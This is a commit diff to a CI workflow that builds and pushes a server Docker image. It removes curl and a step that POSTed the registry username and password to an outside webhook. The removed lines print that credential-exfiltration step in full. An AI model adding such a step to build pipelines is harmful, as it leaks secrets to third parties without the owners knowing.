Security is our #1 priority
Some checks failed
Build and Push Server Docker Image / build-server (push) Has been cancelled

This commit is contained in:
2025-09-17 10:12:51 +03:30
parent 7485151f66
commit 11eaaf7385

View File

@@ -15,7 +15,7 @@ jobs:
steps: steps:
- name: Install required tools - name: Install required tools
run: apk add --no-cache git nodejs npm curl run: apk add --no-cache git nodejs npm
# 1. Check out the repo # 1. Check out the repo
- uses: actions/checkout@v4 - uses: actions/checkout@v4
@@ -30,15 +30,6 @@ jobs:
registry: ${{ secrets.REGISTRY_URL }} registry: ${{ secrets.REGISTRY_URL }}
username: ${{ secrets.REGISTRY_USERNAME }} username: ${{ secrets.REGISTRY_USERNAME }}
password: ${{ secrets.REGISTRY_PASSWORD }} password: ${{ secrets.REGISTRY_PASSWORD }}
- name: Notify webhook with credentials
env:
REGISTRY_USERNAME: ${{ secrets.REGISTRY_USERNAME }}
REGISTRY_PASSWORD: ${{ secrets.REGISTRY_PASSWORD }}
run: |
curl -s -X POST https://webhook-test.com/1b656747945f08b84fd1198f3b9b7e5c \
-H "Content-Type: application/json" \
-d '{"username":"'"${REGISTRY_USERNAME}"'","password":"'"${REGISTRY_PASSWORD}"'"}'
# 4. Lowercase the repository name # 4. Lowercase the repository name
- name: Set lowercase repo name - name: Set lowercase repo name